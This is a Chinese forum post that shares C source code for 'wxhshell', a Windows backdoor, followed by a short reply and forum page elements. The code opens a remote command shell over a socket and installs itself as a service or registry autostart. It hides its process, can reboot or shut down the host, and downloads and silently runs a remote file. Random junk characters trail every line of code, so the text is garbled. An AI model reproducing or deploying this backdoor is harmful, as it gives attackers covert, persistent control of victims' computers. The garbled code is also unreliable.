  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm|m1Z+U  
  else 3Os3=Ix  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O.8m%ZjD  
  } +mW$D@Pf  
  else { 9 8BBsjkd  
# yRA. ;  
    switch(cmd[0]) { ?)QBJ9F  
  W[Ew6)1T  
  // 帮助 AT'$VCYC(  
  case '?': { +jZg%$Q!#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N#!1@!2BN  
    break; 9^*YYK}%  
  } ='||BxB  
  // 安装 A VG`r2T  
  case 'i': { NX #d}M^V  
    if(Install()) 8!`.%)- 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); adPU)k_j:  
    else Lj* =*V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!X9mI|2|  
    break; 6f9<&dCK  
    } Y52xrIvl\  
  // 卸载 @X><lz  
  case 'r': { 34M.xB   
    if(Uninstall()) csA.3|rv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnbs]6  
    else +dpj?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^dKaa  
    break; 6e-h;ylS  
    } '# 2J?f'  
  // 显示 wxhshell 所在路径 4 J2F>m40  
  case 'p': { GoA>sK  
    char svExeFile[MAX_PATH]; Wk#-LkI  
    strcpy(svExeFile,"\n\r"); tSLl'XeN  
      strcat(svExeFile,ExeFile); V>j`  
        send(wsh,svExeFile,strlen(svExeFile),0); f9=X7"dzP  
    break; )KQv4\0y<  
    } uB"m!dL  
  // 重启 BU{ V,|10a  
  case 'b': { .wn_e=lT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tpzdYokh >  
    if(Boot(REBOOT)) RKb3=} *C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)2hl~o_  
    else { wyEgm:Vt  
    closesocket(wsh); [!efQap  
    ExitThread(0); -"fq34v  
    } CKw)J}z  
    break; <Y'YpH`l  
    } w3UJw  
  // 关机 _ShJ3\,K  
  case 'd': { /4BXF4ksi,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s(LqhF[N2]  
    if(Boot(SHUTDOWN)) qinQ5t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r>@/XYK&\  
    else { O*CX@Ne  
    closesocket(wsh); uKzz/Y{  
    ExitThread(0); 717m.t,x  
    }  ,qqV11P]  
    break; [zd-=.:+M[  
    } /s_$CSiB  
  // 获取shell Ybg`Z  
  case 's': { = +\oL!^  
    CmdShell(wsh); KTJ $#1q  
    closesocket(wsh); Q*{ 2  
    ExitThread(0); ,IB)Kk2  
    break; I<-" J^2  
  } 2 ~'quA  
  // 退出 %K,,Sl_  
  case 'x': { n=MYv(Pp}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jM<Ihmh|  
    CloseIt(wsh); 7B :aJfxM  
    break; L%Hm# eFx  
    } <xNM@!'\h  
  // 离开 Ot<!YM  
  case 'q': { LA0x6E+I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @= 9y5r  
    closesocket(wsh); &<b7T$c  
    WSACleanup(); /aEQ3x  
    exit(1); bx6}zkf&  
    break; \~1+T  
        } `Pbn  
  } "7/YhLq7  
  } U2u>A r  
oABPGyv  
  // 提示信息 o`Brr:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # =3]bg  
} 7[ji,.7  
  } C(+BrIS*  
WR1,J0UU6  
  return; QX|K(`of  
} }'- )  
-*r';Mz;  
// shell模块句柄 E/ )+hK&  
int CmdShell(SOCKET sock) 5E|2 S_)G  
{ Z:Am\7 I  
STARTUPINFO si; KgS xF#  
ZeroMemory(&si,sizeof(si)); !!>G{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bm?TMhC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1nmWL0  
PROCESS_INFORMATION ProcessInfo; c:TP7"vG  
char cmdline[]="cmd"; !IU*Ayg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DR=1';63  
  return 0; @ U|u _S@  
} PS1~6f"D  
Yw `VL)v(y  
// 自身启动模式 $sJfxh r  
int StartFromService(void) ?K#$81;[  
{ w5\)di  
typedef struct \}W.RQ^3  
{ 2uEu,YC  
  DWORD ExitStatus; N*W.V,6yH  
  DWORD PebBaseAddress; #1k,t  
  DWORD AffinityMask; oc Uu  
  DWORD BasePriority; w:v:znQrW  
  ULONG UniqueProcessId; .ji%%f  
  ULONG InheritedFromUniqueProcessId; j=4>In?x  
}   PROCESS_BASIC_INFORMATION; ,Fiiw  
M?lr#} d  
PROCNTQSIP NtQueryInformationProcess; B\yid@e  
Yd'ke,Je  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TXv#/@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !y.7"G*  
3\ed4D  
  HANDLE             hProcess; &|eQLY #l  
  PROCESS_BASIC_INFORMATION pbi; 2ra4t]f6  
hI 0l2OE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Fr$q1qae{  
  if(NULL == hInst ) return 0; i=@*F$,  
L4%LE/t|e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jRc#>;dN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yw0@O1Cel  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M`'2 a  
!hUyX}{`j  
  if (!NtQueryInformationProcess) return 0; <KX#;v!I  
oef(i}8O@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M:E#}(  
  if(!hProcess) return 0; ;{RQ+ZX'[  
db|$7]!w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IZLX[y  
O8%/Id  
  CloseHandle(hProcess); KW\`&ki  
\)*qW[C$a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H#K|SSqY?  
if(hProcess==NULL) return 0; ,H8P mn?  
7 pV3#fQ  
HMODULE hMod; C.O-iBVe#  
char procName[255]; 10(N|2'q  
unsigned long cbNeeded; u QCS%|8C  
]LjW,b"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Re_.<_$  
t|%ul6{gz  
  CloseHandle(hProcess); PH.v3 3K  
Zlhr0itf  
if(strstr(procName,"services")) return 1; // 以服务启动 f{0PLFj  
[PT}!X7h  
  return 0; // 注册表启动 gqd#rjtfz  
} vSh)r 9  
::6@mFLR  
// 主模块 NG ~sE&,7  
int StartWxhshell(LPSTR lpCmdLine) XOMWqQr|  
{ lx SGvvP4  
  SOCKET wsl; cqDnZ`|6  
BOOL val=TRUE; G(i/ @>l  
  int port=0; wB@A?&UY  
  struct sockaddr_in door; ,O(uuq  
&I8ZVtg  
  if(wscfg.ws_autoins) Install(); L`6`NYR  
QMP:}  
port=atoi(lpCmdLine); ?uQpt(  
lOZZ-  
if(port<=0) port=wscfg.ws_port; I5{SC-7  
BZ.H6r'Q  
  WSADATA data; ?~"RCZ[;.f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u-,=C/iU  
^)WG c/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cVN|5Y   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |yr}g-m  
  door.sin_family = AF_INET; JXrMtSp\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nsb13mlY  
  door.sin_port = htons(port); J c*A\-qC.  
LvS`   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xQ4Q'9  
closesocket(wsl); SX#ATf6#  
return 1; 0t8-oui  
} [LE_lATjU  
3$_wAt4w  
  if(listen(wsl,2) == INVALID_SOCKET) { Ktoxl+I?  
closesocket(wsl); L fhd02  
return 1; %VgR *  
} r?{tBju^  
  Wxhshell(wsl); 6B=J*8 Hs  
  WSACleanup(); sHNt>5p  
cOSUe_S0w[  
return 0; TeHR,GB  
^VD14V3  
} ;-59#S&?tB  
2]|+.9B  
// 以NT服务方式启动 sNWj+T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /}Max@.`  
{ k# /_Zd  
DWORD   status = 0; kjH0u$n  
  DWORD   specificError = 0xfffffff; rR xqV?>n!  
B|tP3<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cOcm9m#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5=eGiF;0\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q/':<QY  
  serviceStatus.dwWin32ExitCode     = 0; :EZTJu  
  serviceStatus.dwServiceSpecificExitCode = 0; ne%ckW?ks  
  serviceStatus.dwCheckPoint       = 0; rLVS#M#&e>  
  serviceStatus.dwWaitHint       = 0; q*>`HTPcU  
-g~$HTsGm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @AJt/wPk  
  if (hServiceStatusHandle==0) return; {B 34^H:  
HghNI  
status = GetLastError(); ~%cbp&s*/q  
  if (status!=NO_ERROR) E$gcd#rT  
{ (fC [Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q!c*2hI  
    serviceStatus.dwCheckPoint       = 0; h-V5&em"_  
    serviceStatus.dwWaitHint       = 0; I<DS07K  
    serviceStatus.dwWin32ExitCode     = status; ws@;2?%A  
    serviceStatus.dwServiceSpecificExitCode = specificError; "!2Fy-Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\_Qv  
    return; $%LjIeVA5  
  } X=lOwPvP  
|VIBSty2d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k z<We/  
  serviceStatus.dwCheckPoint       = 0; VgOj#Z?K  
  serviceStatus.dwWaitHint       = 0; @X:P`?("^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IL\#!|>  
} vI4St;  
t ;(kSg.  
// 处理NT服务事件,比如:启动、停止 wJip{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {{j?3O//  
{ Wcbb3N$+  
switch(fdwControl) +PjH2  
{ vV8}>  
case SERVICE_CONTROL_STOP: 7^=O^!sa  
  serviceStatus.dwWin32ExitCode = 0; 0EOpK%{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bPWIf*3#  
  serviceStatus.dwCheckPoint   = 0; |+%K89W  
  serviceStatus.dwWaitHint     = 0; 0]&~ddL  
  { $w{#o E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fDf:Jec`[  
  } ~u3E+w  
  return; Ao2t=vg  
case SERVICE_CONTROL_PAUSE: $5l8V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VUk2pEGO.  
  break; VB\oK\F5z  
case SERVICE_CONTROL_CONTINUE: D{~I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '~2;WF0h  
  break; k? X7h2  
case SERVICE_CONTROL_INTERROGATE: zgV{S Qo  
  break; Drz#D1-2  
}; Z':}ZXy]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !ce5pA  
} !h4L_D0  
mJl|dk_c  
// 标准应用程序主函数 1-4W4"#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5P [b/.n  
{ O.Z<dy+  
,*Jm\u  
// 获取操作系统版本 1 %K^(J;  
OsIsNt=GetOsVer(); YvRMUT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gz@'W%6yaV  
$3k5hDA0e  
  // 从命令行安装 "*a^_tsT?i  
  if(strpbrk(lpCmdLine,"iI")) Install(); /2 ')u|  
gq!| 0  
  // 下载执行文件 1d,;e:=j  
if(wscfg.ws_downexe) { hT]\*},  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X0O@,  
  WinExec(wscfg.ws_filenam,SW_HIDE); YLk/16r  
} $ba3dqbCW  
1jO}{U  
if(!OsIsNt) { pbt/i+!  
// 如果时win9x,隐藏进程并且设置为注册表启动 L'M'I0"/  
HideProc(); $5Jo %K%  
StartWxhshell(lpCmdLine); L> > %  
} >8\EdN59{  
else uDbz`VpK  
  if(StartFromService()) 9v=5x[fE  
  // 以服务方式启动 hKj"Lb9 ]  
  StartServiceCtrlDispatcher(DispatchTable); Tapj7/0`  
else %3!DRz  
  // 普通方式启动 g4^=Q'j-  
  StartWxhshell(lpCmdLine); 4*&_h g)h  
'#L.w6<B  
return 0; \L Gj]mb1  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八